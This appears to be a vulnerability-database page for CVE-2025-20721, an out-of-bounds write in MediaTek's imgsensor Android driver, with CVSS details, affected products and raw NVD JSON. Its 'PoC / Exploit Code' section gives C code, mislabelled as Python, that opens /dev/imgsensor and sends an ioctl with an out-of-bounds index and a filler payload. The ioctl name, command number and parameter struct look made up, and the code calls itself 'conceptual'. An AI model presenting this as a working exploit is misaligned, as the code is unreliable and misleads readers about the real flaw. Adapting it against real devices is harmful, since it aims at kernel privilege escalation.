Security Vulnerability Report
中文
CVE-2025-20721 CVSS 7.8 HIGH

CVE-2025-20721

Published: 2025-10-14 10:15:37
Last Modified: 2025-10-15 18:45:16

Description

In imgsensor, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10089545; Issue ID: MSV-4279.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mediatek:iot_yocto:25.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6897:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6985:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6989:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek imgsensor驱动(具体受影响版本请参考MediaTek 2025年10月安全公告)
搭载受影响MediaTek芯片的Android设备(需更新至包含ALPS10089545补丁的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-20721 - MediaTek imgsensor Out of Bounds Write PoC * This is a conceptual proof-of-concept demonstrating the vulnerability trigger. * The actual exploit requires local System privilege access. * * Vulnerability: Missing bounds check in imgsensor driver leads to OOB write * Patch ID: ALPS10089545; Issue ID: MSV-4279 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> // imgsensor ioctl command definitions (device-specific) #define IMGSENSOR_IOC_MAGIC 'I' #define IMGSENSOR_IOC_TRIGGER_OOB_WRITE _IOWR(IMGSENSOR_IOC_MAGIC, 0x100, struct imgsensor_ioctl_param) // Structure to pass parameters to the vulnerable ioctl struct imgsensor_ioctl_param { unsigned int sensor_id; unsigned int cmd; unsigned int param1; // Used as index without bounds check unsigned int param2; // Buffer length parameter void *data; // Data buffer pointer unsigned int data_size; // Size of data buffer }; int main(int argc, char *argv[]) { int fd; int ret; struct imgsensor_ioctl_param param; char payload[256]; printf("[+] CVE-2025-20721 PoC - MediaTek imgsensor OOB Write\n"); // Open the imgsensor device node fd = open("/dev/imgsensor", O_RDWR); if (fd < 0) { perror("[-] Failed to open /dev/imgsensor"); printf("[*] This PoC requires System privilege and MediaTek device\n"); return -1; } printf("[+] Opened imgsensor device fd=%d\n", fd); // Prepare malicious payload memset(payload, 'A', sizeof(payload)); // Craft parameters to trigger out-of-bounds write // The vulnerability is triggered when param1 (index) exceeds expected bounds // and the driver writes to data without proper validation memset(&param, 0, sizeof(param)); param.sensor_id = 0; param.cmd = 0xDEAD; param.param1 = 0xFFFFFFFF; // Out-of-bounds index - triggers the vulnerability param.param2 = sizeof(payload); param.data = (void *)payload; param.data_size = sizeof(payload); printf("[+] Sending malicious ioctl to trigger OOB write...\n"); printf("[+] param1 (index): 0x%X\n", param.param1); printf("[+] data_size: %u\n", param.data_size); // Trigger the vulnerability ret = ioctl(fd, IMGSENSOR_IOC_TRIGGER_OOB_WRITE, &param); if (ret < 0) { perror("[-] ioctl failed"); } else { printf("[+] ioctl returned: %d\n", ret); printf("[!] Potential OOB write triggered\n"); } close(fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20721", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:36.923", "lastModified": "2025-10-15T18:45:16.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In imgsensor, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10089545; Issue ID: MSV-4279."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:iot_yocto:25.0:*:*:*:*:*:*:*", "matchCriteriaId": "A4669355-5DA9-4D28-B06B-5528150390AC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:*", "matchCriteriaId": "AF3E2B84-DAFE-4E11-B23B-026F719475F5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6897:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A7D8055-F4B6-41EE-A078-11D56285AB66"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:*", "matchCriteriaId": "C6E9F80F-9AC9-41E0-BB14-9DB6F14B62CD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6985:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA72CCD1-DEA2-48EB-8781-04CFDD41AAEE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6989:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7DE6B2-66D9-4A3E-B15F-D56505559255"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:*", "matchCriteriaId": "CBBB30DF-E963-4940-B742-F6801F68C3FC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8195:-:*:*:*:*:*:*:*", "matchCriteriaId": "ED210E64-6CE7-42B1-849E-68C0E22521F6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8196:-:*:*:*:*:*:*:*", "matchCriteriaId": "FB0C4D80-28BC-4C4D-B522-AD9EC5222A2E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8370:-:*:*:*:*:*:*:*", "matchCriteriaId": "DA2B6BB9-7544-41A7-BF3A-344AA4CC4B31"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8390:-:*:*:*:*:*:*:*", "matchCriteriaId": "B774B7D7-B7DD-43A0-833F-7E39DF82CA60"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8395:-:*:*:*:*:*:*:*", "matchCriteriaId": "D98FBE1C-D57B-49D9-9C4E-8A133A0C1C89"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8792:-:*:*:*:*:*:*:*", "matchCriteriaId": "336FC69E-E89F-4642-B6B9-8009D9A2BD52"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8793:-:*:*:*:*:*:*:*", "matchCriteriaId": "2FBD3487-F8CE-406C-8BD7-DD57FF8CD60B"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}